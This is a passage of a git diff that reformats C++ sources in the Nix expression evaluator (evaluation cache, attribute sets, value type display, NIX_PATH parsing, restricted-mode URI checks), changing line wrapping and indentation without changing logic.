pos}; } - std::pair findPackageFilename(EvalState & state, Value & v, std::string what) { Value * v2; @@ -118,17 +119,17 @@ std::pair findPackageFilename(EvalState & state, Value & v // FIXME: is it possible to extract the Pos object instead of doing this // toString + parsing? NixStringContext context; - auto path = state.coerceToPath(noPos, *v2, context, "while evaluating the 'meta.position' attribute of a derivation"); + auto path = + state.coerceToPath(noPos, *v2, context, "while evaluating the 'meta.position' attribute of a derivation"); auto fn = path.path.abs(); - auto fail = [fn]() { - throw ParseError("cannot parse 'meta.position' attribute '%s'", fn); - }; + auto fail = [fn]() { throw ParseError("cannot parse 'meta.position' attribute '%s'", fn); }; try { auto colon = fn.rfind(':'); - if (colon == std::string::npos) fail(); + if (colon == std::string::npos) + fail(); auto lineno = std::stoi(std::string(fn, colon + 1, std::string::npos)); return {SourcePath{path.accessor, CanonPath(fn.substr(0, colon))}, lineno}; } catch (std::invalid_argument & e) { @@ -137,5 +138,4 @@ std::pair findPackageFilename(EvalState & state, Value & v } } - } diff --git a/src/libexpr/attr-set.cc b/src/libexpr/attr-set.cc index 06e245aea..e04267a5c 100644 --- a/src/libexpr/attr-set.cc +++ b/src/libexpr/attr-set.cc @@ -3,11 +3,8 @@ #include - namespace nix { - - /* Allocate a new array of attributes for an attribute set with a specific capacity. The space is implicitly reserved after the Bindings structure. */ @@ -22,7 +19,6 @@ Bindings * EvalState::allocBindings(size_t capacity) return new (allocBytes(sizeof(Bindings) + sizeof(Attr) * capacity)) Bindings((Bindings::size_t) capacity); } - Value & BindingsBuilder::alloc(Symbol name, PosIdx pos) { auto value = state.allocValue(); @@ -30,24 +26,21 @@ Value & BindingsBuilder::alloc(Symbol name, PosIdx pos) return *value; } - Value & BindingsBuilder::alloc(std::string_view name, PosIdx pos) { return alloc(state.symbols.create(name), pos); } - void Bindings::sort() { - if (size_) std::sort(begin(), end()); + if (size_) + std::sort(begin(), end()); } - Value & Value::mkAttrs(BindingsBuilder & bindings) { mkAttrs(bindings.finish()); return *this; } - } diff --git a/src/libexpr/eval-cache.cc b/src/libexpr/eval-cache.cc index 30aa6076a..98523574a 100644 --- a/src/libexpr/eval-cache.cc +++ b/src/libexpr/eval-cache.cc @@ -11,8 +11,10 @@ namespace nix::eval_cache { CachedEvalError::CachedEvalError(ref cursor, Symbol attr) : EvalError(cursor->root->state, "cached failure of attribute '%s'", cursor->getAttrPathStr(attr)) - , cursor(cursor), attr(attr) -{ } + , cursor(cursor) + , attr(attr) +{ +} void CachedEvalError::force() { @@ -25,7 +27,8 @@ void CachedEvalError::force() } // Shouldn't happen. - throw EvalError(state, "evaluation of cached failed attribute '%s' unexpectedly succeeded", cursor->getAttrPathStr(attr)); + throw EvalError( + state, "evaluation of cached failed attribute '%s' unexpectedly succeeded", cursor->getAttrPathStr(attr)); } static const char * schema = R"sql( @@ -59,10 +62,7 @@ struct AttrDb SymbolTable & symbols; - AttrDb( - const StoreDirConfig & cfg, - const Hash & fingerprint, - SymbolTable & symbols) + AttrDb(const StoreDirConfig & cfg, const Hash & fingerprint, SymbolTable & symbols) : cfg(cfg) , _state(std::make_unique>()) , symbols(symbols) @@ -78,17 +78,16 @@ struct AttrDb state->db.isCache(); state->db.exec(schema); - state->insertAttribute.create(state->db, - "insert or replace into Attributes(parent, name, type, value) values (?, ?, ?, ?)"); + state->insertAttribute.create( + state->db, "insert or replace into Attributes(parent, name, type, value) values (?, ?, ?, ?)"); - state->insertAttributeWithContext.create(state->db, - "insert or replace into Attributes(parent, name, type, value, context) values (?, ?, ?, ?, ?)"); + state->insertAttributeWithContext.create( + state->db, "insert or replace into Attributes(parent, name, type, value, context) values (?, ?, ?, ?, ?)"); - state->queryAttribute.create(state->db, - "select rowid, type, value, context from Attributes where parent = ? and name = ?"); + state->queryAttribute.create( + state->db, "select rowid, type, value, context from Attributes where parent = ? and name = ?"); - state->queryAttributes.create(state->db, - "select name from Attributes where parent = ?"); + state->queryAttributes.create(state->db, "select name from Attributes where parent = ?"); state->txn = std::make_unique(state->db); } @@ -108,7 +107,8 @@ struct AttrDb template AttrId doSQLite(F && fun) { - if (failed) return 0; + if (failed) + return 0; try { return fun(); } catch (SQLiteError &) { @@ -118,116 +118,76 @@ struct AttrDb } } - AttrId setAttrs( - AttrKey key, - const std::vector & attrs) + AttrId setAttrs(AttrKey key, const std::vector & attrs) { - return doSQLite([&]() - { + return doSQLite([&]() { auto state(_state->lock()); - state->insertAttribute.use() - (key.first) - (symbols[key.second]) - (AttrType::FullAttrs) - (0, false).exec(); + state->insertAttribute.use()(key.first)(symbols[key.second])(AttrType::FullAttrs) (0, false).exec(); AttrId rowId = state->db.getLastInsertedRowId(); assert(rowId); for (auto & attr : attrs) - state->insertAttribute.use() - (rowId) - (symbols[attr]) - (AttrType::Placeholder) - (0, false).exec(); + state->insertAttribute.use()(rowId)(symbols[attr])(AttrType::Placeholder) (0, false).exec(); return rowId; }); } - AttrId setString( - AttrKey key, - std::string_view s, - const char * * context = nullptr) + AttrId setString(AttrKey key, std::string_view s, const char ** context = nullptr) { - return doSQLite([&]() - { + return doSQLite([&]() { auto state(_state->lock()); if (context) { std::string ctx; - for (const char * * p = context; *p; ++p) { - if (p != context) ctx.push_back(' '); + for (const char ** p = context; *p; ++p) { + if (p != context) + ctx.push_back(' '); ctx.append(*p); } - state->insertAttributeWithContext.use() - (key.first) - (symbols[key.second]) - (AttrType::String) - (s) - (ctx).exec(); + state->insertAttributeWithContext.use()(key.first)(symbols[key.second])(AttrType::String) (s) (ctx) + .exec(); } else { - state->insertAttribute.use() - (key.first) - (symbols[key.second]) - (AttrType::String) - (s).exec(); + state->insertAttribute.use()(key.first)(symbols[key.second])(AttrType::String) (s).exec(); } return state->db.getLastInsertedRowId(); }); } - AttrId setBool( - AttrKey key, - bool b) + AttrId setBool(AttrKey key, bool b) { - return doSQLite([&]() - { + return doSQLite([&]() { auto state(_state->lock()); - state->insertAttribute.use() - (key.first) - (symbols[key.second]) - (AttrType::Bool) - (b ? 1 : 0).exec(); + state->insertAttribute.use()(key.first)(symbols[key.second])(AttrType::Bool) (b ? 1 : 0).exec(); return state->db.getLastInsertedRowId(); }); } - AttrId setInt( - AttrKey key, - int n) + AttrId setInt(AttrKey key, int n) { - return doSQLite([&]() - { + return doSQLite([&]() { auto state(_state->lock()); - state->insertAttribute.use() - (key.first) - (symbols[key.second]) - (AttrType::Int) - (n).exec(); + state->insertAttribute.use()(key.first)(symbols[key.second])(AttrType::Int) (n).exec(); return state->db.getLastInsertedRowId(); }); } - AttrId setListOfStrings( - AttrKey key, - const std::vector & l) + AttrId setListOfStrings(AttrKey key, const std::vector & l) { - return doSQLite([&]() - { + return doSQLite([&]() { auto state(_state->lock()); - state->insertAttribute.use() - (key.first) - (symbols[key.second]) - (AttrType::ListOfStrings) - (dropEmptyInitThenConcatStringsSep("\t", l)).exec(); + state->insertAttribute + .use()(key.first)(symbols[key.second])( + AttrType::ListOfStrings) (dropEmptyInitThenConcatStringsSep("\t", l)) + .exec(); return state->db.getLastInsertedRowId(); }); @@ -235,15 +195,10 @@ struct AttrDb AttrId setPlaceholder(AttrKey key) { - return doSQLite([&]() - { + return doSQLite([&]() { auto state(_state->lock()); - state->insertAttribute.use() - (key.first) - (symbols[key.second]) - (AttrType::Placeholder) - (0, false).exec(); + state->insertAttribute.use()(key.first)(symbols[key.second])(AttrType::Placeholder) (0, false).exec(); return state->db.getLastInsertedRowId(); }); @@ -251,15 +206,10 @@ struct AttrDb AttrId setMissing(AttrKey key) { - return doSQLite([&]() - { + return doSQLite([&]() { auto state(_state->lock()); - state->insertAttribute.use() - (key.first) - (symbols[key.second]) - (AttrType::Missing) - (0, false).exec(); + state->insertAttribute.use()(key.first)(symbols[key.second])(AttrType::Missing) (0, false).exec(); return state->db.getLastInsertedRowId(); }); @@ -267,15 +217,10 @@ struct AttrDb AttrId setMisc(AttrKey key) { - return doSQLite([&]() - { + return doSQLite([&]() { auto state(_state->lock()); - state->insertAttribute.use() - (key.first) - (symbols[key.second]) - (AttrType::Misc) - (0, false).exec(); + state->insertAttribute.use()(key.first)(symbols[key.second])(AttrType::Misc) (0, false).exec(); return state->db.getLastInsertedRowId(); }); @@ -283,15 +228,10 @@ struct AttrDb AttrId setFailed(AttrKey key) { - return doSQLite([&]() - { + return doSQLite([&]() { auto state(_state->lock()); - state->insertAttribute.use() - (key.first) - (symbols[key.second]) - (AttrType::Failed) - (0, false).exec(); + state->insertAttribute.use()(key.first)(symbols[key.second])(AttrType::Failed) (0, false).exec(); return state->db.getLastInsertedRowId(); }); @@ -302,51 +242,49 @@ struct AttrDb auto state(_state->lock()); auto queryAttribute(state->queryAttribute.use()(key.first)(symbols[key.second])); - if (!queryAttribute.next()) return {}; + if (!queryAttribute.next()) + return {}; auto rowId = (AttrId) queryAttribute.getInt(0); auto type = (AttrType) queryAttribute.getInt(1); switch (type) { - case AttrType::Placeholder: - return {{rowId, placeholder_t()}}; - case AttrType::FullAttrs: { - // FIXME: expensive, should separate this out. - std::vector attrs; - auto queryAttributes(state->queryAttributes.use()(rowId)); - while (queryAttributes.next()) - attrs.emplace_back(symbols.create(queryAttributes.getStr(0))); - return {{rowId, attrs}}; - } - case AttrType::String: { - NixStringContext context; - if (!queryAttribute.isNull(3)) - for (auto & s : tokenizeString>(queryAttribute.getStr(3), ";")) - context.insert(NixStringContextElem::parse(s)); - return {{rowId, string_t{queryAttribute.getStr(2), context}}}; - } - case AttrType::Bool: - return {{rowId, queryAttribute.getInt(2) != 0}}; - case AttrType::Int: - return {{rowId, int_t{NixInt{queryAttribute.getInt(2)}}}}; - case AttrType::ListOfStrings: - return {{rowId, tokenizeString>(queryAttribute.getStr(2), "\t")}}; - case AttrType::Missing: - return {{rowId, missing_t()}}; - case AttrType::Misc: - return {{rowId, misc_t()}}; - case AttrType::Failed: - return {{rowId, failed_t()}}; - default: - throw Error("unexpected type in evaluation cache"); + case AttrType::Placeholder: + return {{rowId, placeholder_t()}}; + case AttrType::FullAttrs: { + // FIXME: expensive, should separate this out. + std::vector attrs; + auto queryAttributes(state->queryAttributes.use()(rowId)); + while (queryAttributes.next()) + attrs.emplace_back(symbols.create(queryAttributes.getStr(0))); + return {{rowId, attrs}}; + } + case AttrType::String: { + NixStringContext context; + if (!queryAttribute.isNull(3)) + for (auto & s : tokenizeString>(queryAttribute.getStr(3), ";")) + context.insert(NixStringContextElem::parse(s)); + return {{rowId, string_t{queryAttribute.getStr(2), context}}}; + } + case AttrType::Bool: + return {{rowId, queryAttribute.getInt(2) != 0}}; + case AttrType::Int: + return {{rowId, int_t{NixInt{queryAttribute.getInt(2)}}}}; + case AttrType::ListOfStrings: + return {{rowId, tokenizeString>(queryAttribute.getStr(2), "\t")}}; + case AttrType::Missing: + return {{rowId, missing_t()}}; + case AttrType::Misc: + return {{rowId, misc_t()}}; + case AttrType::Failed: + return {{rowId, failed_t()}}; + default: + throw Error("unexpected type in evaluation cache"); } } }; -static std::shared_ptr makeAttrDb( - const StoreDirConfig & cfg, - const Hash & fingerprint, - SymbolTable & symbols) +static std::shared_ptr makeAttrDb(const StoreDirConfig & cfg, const Hash & fingerprint, SymbolTable & symbols) { try { return std::make_shared(cfg, fingerprint, symbols); @@ -357,9 +295,7 @@ static std::shared_ptr makeAttrDb( } EvalCache::EvalCache( - std::optional> useCache, - EvalState & state, - RootLoader rootLoader) + std::optional> useCache, EvalState & state, RootLoader rootLoader) : db(useCache ? makeAttrDb(*state.store, *useCache, state.symbols) : nullptr) , state(state) , rootLoader(rootLoader) @@ -381,11 +317,10 @@ ref EvalCache::getRoot() } AttrCursor::AttrCursor( - ref root, - Parent parent, - Value * value, - std::optional> && cachedValue) - : root(root), parent(parent), cachedValue(std::move(cachedValue)) + ref root, Parent parent, Value * value, std::optional> && cachedValue) + : root(root) + , parent(parent) + , cachedValue(std::move(cachedValue)) { if (value) _value = allocRootValue(value); @@ -470,13 +405,11 @@ Value & AttrCursor::forceValue() if (root->db && (!cachedValue || std::get_if(&cachedValue->second))) { if (v.type() == nString) - cachedValue = {root->db->setString(getKey(), v.c_str(), v.context()), - string_t{v.c_str(), {}}}; + cachedValue = {root->db->setString(getKey(), v.c_str(), v.context()), string_t{v.c_str(), {}}}; else if (v.type() == nPath) { auto path = v.path().path; cachedValue = {root->db->setString(getKey(), path.abs()), string_t{path.abs(), {}}}; - } - else if (v.type() == nBool) + } else if (v.type() == nBool) cachedValue = {root->db->setBool(getKey(), v.boolean()), v.boolean()}; else if (v.type() == nInt) cachedValue = {root->db->setInt(getKey(), v.integer().value), int_t{v.integer()}}; @@ -518,14 +451,14 @@ std::shared_ptr AttrCursor::maybeGetAttr(Symbol name) else if (std::get_if(&attr->second)) throw CachedEvalError(ref(shared_from_this()), name); else - return std::make_shared(root, - std::make_pair(ref(shared_from_this()), name), nullptr, std::move(attr)); + return std::make_shared( + root, std::make_pair(ref(shared_from_this()), name), nullptr, std::move(attr)); } // Incomplete attrset, so need to fall thru and // evaluate to see whether 'name' exists } else return nullptr; - //error("'%s' is not an attribute set", getAttrPathStr()).debugThrow(); + // error("'%s' is not an attribute set", getAttrPathStr()).debugThrow(); } } @@ -533,7 +466,7 @@ std::shared_ptr AttrCursor::maybeGetAttr(Symbol name) if (v.type() != nAttrs) return nullptr; - //error("'%s' is not an attribute set", getAttrPathStr()).debugThrow(); + // error("'%s' is not an attribute set", getAttrPathStr()).debugThrow(); auto attr = v.attrs()->get(name); @@ -618,17 +551,15 @@ string_t AttrCursor::getStringWithContext() if (auto s = std::get_if(&cachedValue->second)) { bool valid = true; for (auto & c : s->second) { - const StorePath & path = std::visit(overloaded { - [&](const NixStringContextElem::DrvDeep & d) -> const StorePath & { - return d.drvPath; + const StorePath & path = std::visit( + overloaded{ + [&](const NixStringContextElem::DrvDeep & d) -> const StorePath & { return d.drvPath; }, + [&](const NixStringContextElem::Built & b) -> const StorePath & { + return b.drvPath->getBaseStorePath(); + }, + [&](const NixStringContextElem::Opaque & o) -> const StorePath & { return o.path; }, }, - [&](const NixStringContextElem::Built & b) -> const StorePath & { - return b.drvPath->getBaseStorePath(); - }, - [&](const NixStringContextElem::Opaque & o) -> const StorePath & { - return o.path; - }, - }, c.raw); + c.raw); if (!root->state.store->isValidPath(path)) { valid = false; break; @@ -649,8 +580,7 @@ string_t AttrCursor::getStringWithContext() NixStringContext context; copyContext(v, context); return {v.c_str(), std::move(context)}; - } - else if (v.type() == nPath) + } else if (v.type() == nPath) return {v.path().to_string(), {}}; else root->state.error("'%s' is not a string but %s", getAttrPathStr(), showType(v)).debugThrow(); @@ -722,7 +652,8 @@ std::vector AttrCursor::getListOfStrings() std::vector res; for (auto & elem : v.listItems()) - res.push_back(std::string(root->state.forceStringNoCtx(*elem, noPos, "while evaluating an attribute for caching"))); + res.push_back( + std::string(root->state.forceStringNoCtx(*elem, noPos, "while evaluating an attribute for caching"))); if (root->db) cachedValue = {root->db->setListOfStrings(getKey(), res), res}; @@ -778,8 +709,8 @@ StorePath AttrCursor::forceDerivation() been garbage-collected. So force it to be regenerated. */ aDrvPath->forceValue(); if (!root->state.store->isValidPath(drvPath)) - throw Error("don't know how to recreate store derivation '%s'!", - root->state.store->printStorePath(drvPath)); + throw Error( + "don't know how to recreate store derivation '%s'!", root->state.store->printStorePath(drvPath)); } return drvPath; } diff --git a/src/libexpr/eval-error.cc b/src/libexpr/eval-error.cc index eac135008..038c295db 100644 --- a/src/libexpr/eval-error.cc +++ b/src/libexpr/eval-error.cc @@ -44,12 +44,13 @@ EvalErrorBuilder & EvalErrorBuilder::withFrame(const Env & env, const Expr // NOTE: This is abusing side-effects. // TODO: check compatibility with nested debugger calls. // TODO: What side-effects?? - error.state.debugTraces.push_front(DebugTrace{ - .pos = expr.getPos(), - .expr = expr, - .env = env, - .hint = HintFmt("Fake frame for debugging purposes"), - .isError = true}); + error.state.debugTraces.push_front( + DebugTrace{ + .pos = expr.getPos(), + .expr = expr, + .env = env, + .hint = HintFmt("Fake frame for debugging purposes"), + .isError = true}); return *this; } @@ -96,7 +97,8 @@ template void EvalErrorBuilder::panic() { logError(error.info()); - printError("This is a bug! An unexpected condition occurred, causing the Nix evaluator to have to stop. If you could share a reproducible example or a core dump, please open an issue at https://github.com/NixOS/nix/issues"); + printError( + "This is a bug! An unexpected condition occurred, causing the Nix evaluator to have to stop. If you could share a reproducible example or a core dump, please open an issue at https://github.com/NixOS/nix/issues"); abort(); } diff --git a/src/libexpr/eval-settings.cc b/src/libexpr/eval-settings.cc index 659c01a9e..93db5aebb 100644 --- a/src/libexpr/eval-settings.cc +++ b/src/libexpr/eval-settings.cc @@ -19,12 +19,14 @@ Strings EvalSettings::parseNixPath(const std::string & s) auto start2 = p; while (p != s.end() && *p != ':') { - if (*p == '=') start2 = p + 1; + if (*p == '=') + start2 = p + 1; ++p; } if (p == s.end()) { - if (p != start) res.push_back(std::string(start, p)); + if (p != start) + res.push_back(std::string(start, p)); break; } @@ -32,10 +34,12 @@ Strings EvalSettings::parseNixPath(const std::string & s) auto prefix = std::string(start2, s.end()); if (EvalSettings::isPseudoUrl(prefix) || hasPrefix(prefix, "flake:")) { ++p; - while (p != s.end() && *p != ':') ++p; + while (p != s.end() && *p != ':') + ++p; } res.push_back(std::string(start, p)); - if (p == s.end()) break; + if (p == s.end()) + break; } ++p; @@ -75,11 +79,14 @@ Strings EvalSettings::getDefaultNixPath() bool EvalSettings::isPseudoUrl(std::string_view s) { - if (s.compare(0, 8, "channel:") == 0) return true; + if (s.compare(0, 8, "channel:") == 0) + return true; size_t pos = s.find("://"); - if (pos == std::string::npos) return false; + if (pos == std::string::npos) + return false; std::string scheme(s, 0, pos); - return scheme == "http" || scheme == "https" || scheme == "file" || scheme == "channel" || scheme == "git" || scheme == "s3" || scheme == "ssh"; + return scheme == "http" || scheme == "https" || scheme == "file" || scheme == "channel" || scheme == "git" + || scheme == "s3" || scheme == "ssh"; } std::string EvalSettings::resolvePseudoUrl(std::string_view url) @@ -98,9 +105,7 @@ const std::string & EvalSettings::getCurrentSystem() const Path getNixDefExpr() { - return settings.useXDGBaseDirectories - ? getStateDir() + "/defexpr" - : getHome() + "/.nix-defexpr"; + return settings.useXDGBaseDirectories ? getStateDir() + "/defexpr" : getHome() + "/.nix-defexpr"; } } // namespace nix \ No newline at end of file diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 9d60676f5..0ef20beab 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -49,11 +49,11 @@ static char * allocString(size_t size) { char * t; t = (char *) GC_MALLOC_ATOMIC(size); - if (!t) throw std::bad_alloc(); + if (!t) + throw std::bad_alloc(); return t; } - // When there's no need to write to the string, we can optimize away empty // string allocations. // This function handles makeImmutableString(std::string_view()) by returning @@ -69,14 +69,14 @@ static const char * makeImmutableString(std::string_view s) return t; } - RootValue allocRootValue(Value * v) { return std::allocate_shared(traceable_allocator(), v); } // Pretty print types for assertion errors -std::ostream & operator << (std::ostream & os, const ValueType t) { +std::ostream & operator<<(std::ostream & os, const ValueType t) +{ os << showType(t); return os; } @@ -93,7 +93,8 @@ void Value::print(EvalState & state, std::ostream & str, PrintOptions options) printValue(state, str, *this, options); } -const Value * getPrimOp(const Value &v) { +const Value * getPrimOp(const Value & v) +{ const Value * primOp = &v; while (primOp->isPrimOpApp()) { primOp = primOp->payload.primOpApp.left; @@ -104,71 +105,85 @@ const Value * getPrimOp(const Value &v) { std::string_view showType(ValueType type, bool withArticle) { - #define WA(a, w) withArticle ? a " " w : w +#define WA(a, w) withArticle ? a " " w : w switch (type) { - case nInt: return WA("an", "integer"); - case nBool: return WA("a", "Boolean"); - case nString: return WA("a", "string"); - case nPath: return WA("a", "path"); - case nNull: return "null"; - case nAttrs: return WA("a", "set"); - case nList: return WA("a", "list"); - case nFunction: return WA("a", "function"); - case nExternal: return WA("an", "external value"); - case nFloat: return WA("a", "float"); - case nThunk: return WA("a", "thunk"); + case nInt: + return WA("an", "integer"); + case nBool: + return WA("a", "Boolean"); + case nString: + return WA("a", "string"); + case nPath: + return WA("a", "path"); + case nNull: + return "null"; + case nAttrs: + return WA("a", "set"); + case nList: + return WA("a", "list"); + case nFunction: + return WA("a", "function"); + case nExternal: + return WA("an", "external value"); + case nFloat: + return WA("a", "float"); + case nThunk: + return WA("a", "thunk"); } unreachable(); } - std::string showType(const Value & v) { - // Allow selecting a subset of enum values - #pragma GCC diagnostic push - #pragma GCC diagnostic ignored "-Wswitch-enum" +// Allow selecting a subset of enum values +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wswitch-enum" switch (v.internalType) { - case tString: return v.payload.string.context ? "a string with context" : "a string"; - case tPrimOp: - return fmt("the built-in function '%s'", std::string(v.payload.primOp->name)); - case tPrimOpApp: - return fmt("the partially applied built-in function '%s'", std::string(getPrimOp(v)->payload.primOp->name)); - case tExternal: return v.external()->showType(); - case tThunk: return v.isBlackhole() ? "a black hole" : "a thunk"; - case tApp: return "a function application"; + case tString: + return v.payload.string.context ? "a string with context" : "a string"; + case tPrimOp: + return fmt("the built-in function '%s'", std::string(v.payload.primOp->name)); + case tPrimOpApp: + return fmt("the partially applied built-in function '%s'", std::string(getPrimOp(v)->payload.primOp->name)); + case tExternal: + return v.external()->showType(); + case tThunk: + return v.isBlackhole() ? "a black hole" : "a thunk"; + case tApp: + return "a function application"; default: return std::string(showType(v.type())); } - #pragma GCC diagnostic pop +#pragma GCC diagnostic pop } PosIdx Value::determinePos(const PosIdx pos) const { - // Allow selecting a subset of enum values - #pragma GCC diagnostic push - #pragma GCC diagnostic ignored "-Wswitch-enum" +// Allow selecting a subset of enum values +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wswitch-enum" switch (internalType) { - case tAttrs: return attrs()->pos; - case tLambda: return payload.lambda.fun->pos; - case tApp: return payload.app.left->determinePos(pos); - default: return pos; + case tAttrs: + return attrs()->pos; + case tLambda: + return payload.lambda.fun->pos; + case tApp: + return payload.app.left->determinePos(pos); + default: + return pos; } - #pragma GCC diagnostic pop +#pragma GCC diagnostic pop } bool Value::isTrivial() const { - return - internalType != tApp - && internalType != tPrimOpApp - && (internalType != tThunk - || (dynamic_cast(payload.thunk.expr) - && ((ExprAttrs *) payload.thunk.expr)->dynamicAttrs.empty()) - || dynamic_cast(payload.thunk.expr) - || dynamic_cast(payload.thunk.expr)); + return internalType != tApp && internalType != tPrimOpApp + && (internalType != tThunk + || (dynamic_cast(payload.thunk.expr) + && ((ExprAttrs *) payload.thunk.expr)->dynamicAttrs.empty()) + || dynamic_cast(payload.thunk.expr) || dynamic_cast(payload.thunk.expr)); } - static Symbol getName(const AttrName & name, EvalState & state, Env & env) { if (name.symbol) { @@ -306,7 +321,7 @@ EvalState::EvalState( , internalFS(make_ref()) , derivationInternal{corepkgsFS->addFile( CanonPath("derivation-internal.nix"), - #include "primops/derivation.nix.gen.hh" +#include "primops/derivation.nix.gen.hh" )} , store(store) , buildStore(buildStore ? buildStore : store) @@ -346,7 +361,7 @@ EvalState::EvalState( assert(lookupPath.elements.empty()); if (!settings.pureEval) { for (auto & i : lookupPathFromArguments.elements) { - lookupPath.elements.emplace_back(LookupPath::Elem {i}); + lookupPath.elements.emplace_back(LookupPath::Elem{i}); } /* $NIX_PATH overriding regular settings is implemented as a hack in `initGC()` */ for (auto & i : settings.nixPath.get()) { @@ -366,17 +381,13 @@ EvalState::EvalState( corepkgsFS->addFile( CanonPath("fetchurl.nix"), - #include "fetchurl.nix.gen.hh" +#include "fetchurl.nix.gen.hh" ); createBaseEnv(settings); } - -EvalState::~EvalState() -{ -} - +EvalState::~EvalState() {} void EvalState::allowPath(const Path & path) { @@ -392,7 +403,8 @@ void EvalState::allowPath(const StorePath & storePath) void EvalState::allowClosure(const StorePath & storePath) { - if (!rootFS.dynamic_pointer_cast()) return; + if (!rootFS.dynamic_pointer_cast()) + return; StorePathSet closure; store->computeFSClosure(storePath, closure); @@ -409,10 +421,8 @@ void EvalState::allowAndSetStorePathString(const StorePath & storePath, Value & inline static bool isJustSchemePrefix(std::string_view prefix) { - return - !prefix.empty() - && prefix[prefix.size() - 1] == ':' - && isValidSchemeName(prefix.substr(0, prefix.size() - 1)); + return !prefix.empty() && prefix[prefix.size() - 1] == ':' + && isValidSchemeName(prefix.substr(0, prefix.size() - 1)); } bool isAllowedURI(std::string_view uri, const Strings & allowedUris) @@ -423,18 +433,14 @@ bool isAllowedURI(std::string_view uri, const Strings & allowedUris) for (auto & prefix : allowedUris) { if (uri == prefix // Allow access to subdirectories of the prefix. - || (uri.size() > prefix.size() - && prefix.size() > 0 - && hasPrefix(uri, prefix) + || (uri.size() > prefix.size() && prefix.size() > 0 && hasPrefix(uri, prefix) && ( // Allow access to subdirectories of the prefix. prefix[prefix.size() - 1] == '/' || uri[prefix.size()] == '/' // Allow access to whole schemes - || isJustSchemePrefix(prefix) - ) - )) + || isJustSchemePrefix(prefix)))) return true; } @@ -443,9 +449,11 @@ bool isAllowedURI(std::string_view uri, const Strings & allowedUris) void EvalState::checkURI(const std::string & uri) { - if (!settings.restrictEval) return; + if (!settings.restrictEval) + return; - if (isAllowedURI(uri, settings.allowedUris.get())) return; + if (isAllowedURI(uri, settings.allowedUris.get())) + return; /* If the URI is a path, then check it against allowedPaths as well. */ @@ -464,7 +472,6 @@ void EvalState::checkURI(const std::string & uri) throw RestrictedPathError("access to URI '%s' is forbidden in restricted mode", uri); } - Value * EvalState::addConstant(const std::string & name, Value & v, Constant info) { Value * v2 = allocValue(); @@ -473,7 +480,6 @@ Value * EvalState::addConstant(const std::string & name, Value & v, Constant inf return v2; } - void EvalState::addConstant(const std::string & name, Value * v, Constant info) { auto name2 = name.substr(0, 2) == "__" ? name.substr(2) : name; @@ -495,7 +501,6 @@ void EvalState::addConstant(const std::string & name, Value * v, Constant info) } } - void PrimOp::check() { if (arity > maxPrimOpArity) { @@ -503,14 +508,12 @@ void PrimOp::check() } } - std::ostream & operator<<(std::ostream & output, const PrimOp & primOp) { output << "primop " << primOp.name; return output; } - const PrimOp * Value::primOpAppPrimOp() const { Value * left = payload.primOpApp.left; @@ -523,14 +526,12 @@ const PrimOp * Value::primOpAppPrimOp() const return left->primOp(); } - void Value::mkPrimOp(PrimOp * p) { p->check(); - finishValue(tPrimOp, { .primOp = p }); + finishValue(tPrimOp, {.primOp = p}); } - Value * EvalState::addPrimOp(PrimOp && primOp) { /* Hack to make constants lazy: turn them into a application of @@ -541,10 +542,13 @@ Value * EvalState::addPrimOp(PrimOp && primOp) vPrimOp->mkPrimOp(new PrimOp(primOp)); Value v; v.mkApp(vPrimOp, vPrimOp); - return addConstant(primOp.name, v, { - .type = nThunk, // FIXME - .doc = primOp.doc, - }); + return addConstant( + primOp.name, + v, + { + .type = nThunk, // FIXME + .doc = primOp.doc, + }); } auto envName = symbols.create(primOp.name); @@ -565,13 +569,11 @@ Value * EvalState::addPrimOp(PrimOp && primOp) return v; } - Value & EvalState::getBuiltins() { return *baseEnv.values[0]; } - Value & EvalState::getBuiltin(const std::string & name) { auto it = getBuiltins().attrs()->get(symbols.create(name)); @@ -581,13 +583,12 @@ Value & EvalState::getBuiltin(const std::string & name) error("builtin '%1%' not found", name).debugThrow(); } - std::optional EvalState::getDoc(Value & v) { if (v.isPrimOp()) { auto v2 = &v; if (auto * doc = v2->primOp()->doc) - return Doc { + return Doc{ .pos = {}, .name = v2->primOp()->name, .arity = v2->primOp()->arity, @@ -613,11 +614,10 @@ std::optional EvalState::getDoc(Value & v) if (name.empty()) { s << "Function "; - } - else { + } else { s << "Function `" << name << "`"; if (pos) - s << "\\\n … " ; + s << "\\\n … "; else s << "\\\n"; } @@ -630,7 +630,7 @@ std::optional EvalState::getDoc(Value & v) s << docStr; - return Doc { + return Doc{ .pos = pos, .name = name, .arity = 0, // FIXME: figure out how deep by syntax only? It's not semantically useful though... @@ -651,8 +651,7 @@ std::optional EvalState::getDoc(Value & v) callFunction(functor, vp, partiallyApplied, noPos); auto _level = addCallDepth(noPos); return getDoc(partiallyApplied); - } - catch (Error & e) { + } catch (Error & e) { e.addTrace(nullptr, "while partially calling '%1%' to retrieve documentation", "__functor"); throw; } @@ -660,7 +659,6 @@ std::optional EvalState::getDoc(Value & v) return {}; } - // just for the current level of StaticEnv, not the whole chain. void printStaticEnvBindings(const SymbolTable & st, const StaticEnv & se) { @@ -708,13 +706,12 @@ void printEnvBindings(const SymbolTable & st, const StaticEnv & se, const Env & std::cout << ANSI_NORMAL; std::cout << std::endl; if (se.isWith) - printWithBindings(st, env); // probably nothing there for the top level. + printWithBindings(st, env); // probably nothing there for the top level. std::cout << std::endl; - } } -void printEnvBindings(const EvalState &es, const Expr & expr, const Env & env) +void printEnvBindings(const EvalState & es, const Expr & expr, const Env & env) { // just print the names for now auto se = es.getStaticEnv(expr); @@ -752,13 +749,17 @@ std::unique_ptr mapStaticEnvBindings(const SymbolTable & st, const Stati /** * Sets `inDebugger` to true on construction and false on destruction. */ -class DebuggerGuard { +class DebuggerGuard +{ bool & inDebugger; public: - DebuggerGuard(bool & inDebugger) : inDebugger(inDebugger) { + DebuggerGuard(bool & inDebugger) + : inDebugger(inDebugger) + { inDebugger = true; } - ~DebuggerGuard() { + ~DebuggerGuard() + { inDebugger = false; } }; @@ -808,60 +809,52 @@ void EvalState::runDebugRepl(const Error * error, const Env & env, const Expr & return nullptr; }(); - if (error) - { + if (error) { printError("%s\n", error->what()); if (trylevel > 0 && error->info().level != lvlInfo) - printError("This exception occurred in a 'tryEval' call. Use " ANSI_GREEN "--ignore-try" ANSI_NORMAL " to skip these.\n"); + printError( + "This exception occurred in a 'tryEval' call. Use " ANSI_GREEN "--ignore-try" ANSI_NORMAL + " to skip these.\n"); } auto se = 